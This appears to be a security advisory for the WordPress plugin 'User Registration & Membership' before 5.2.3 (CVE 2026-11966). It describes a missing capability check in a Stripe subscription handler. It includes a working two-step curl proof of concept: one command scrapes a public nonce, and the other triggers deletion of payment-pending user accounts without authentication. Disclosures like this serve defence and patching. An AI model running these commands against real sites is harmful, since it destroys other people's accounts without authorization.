User Registration & Membership < 5.2.3 – Unauthenticated Limited User Deletion via Stripe Subscription Handler | CVE 2026-11966

Description

The plugin does not perform a capability check for unauthenticated callers on one of its membership payment actions and acts on a caller-supplied user identifier, allowing unauthenticated attackers to delete recently-registered, payment-pending user accounts.

Proof of Concept

ENVIRONMENT PREPARATION (the normal state of a live paid-membership site)
- Membership module active with a paid Stripe membership tier configured (price_id set) and a Stripe webhook secret saved (the normal state of a working Stripe integration; without it the SDK throws during webhook auto-setup before the deletion path is reached).
- A victim who registered through the membership flow and is payment-pending. Deletion is bounded to such accounts; established users and administrators (no pending order) cannot be deleted.

EXPLOIT (unauthenticated)

Step 1 - Scrape the confirm-payment nonce as a fully logged-out client (it is localized into the public membership-listing/registration shortcode page for any visitor):
```bash
NONCE=$(curl -sk "https://TARGET/membership-registration/" \
  | grep -oE '"_confirm_payment_nonce":"[^"]*"' | head -1 | sed -E 's/.*":"([^"]*)"/\1/')
```

Step 2 - Delete the pending-payment member (VICTIM_ID); bogus Stripe credentials force the failure path:
```bash
curl -sk -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=user_registration_membership_create_stripe_subscription" \
  -d "security=$NONCE" \
  -d "member_id=VICTIM_ID" \
  -d "customer_id=cus_FAKE" \
  -d "payment_method_id=pm_FAKE"
```

EXPECTED RESULT
The Stripe API call throws on the invalid credentials, and the exception handler deletes the targeted user. On single-site WordPress the user row is permanently removed; on multisite the call removes the user from the site (role, capabilities and sessions wiped, network row persists). Targeting a user that does not have the pending-payment state returns `{"message":"Invalid Request."}` and does nothing, so deletion is bounded to recently-registered, payment-pending member accounts.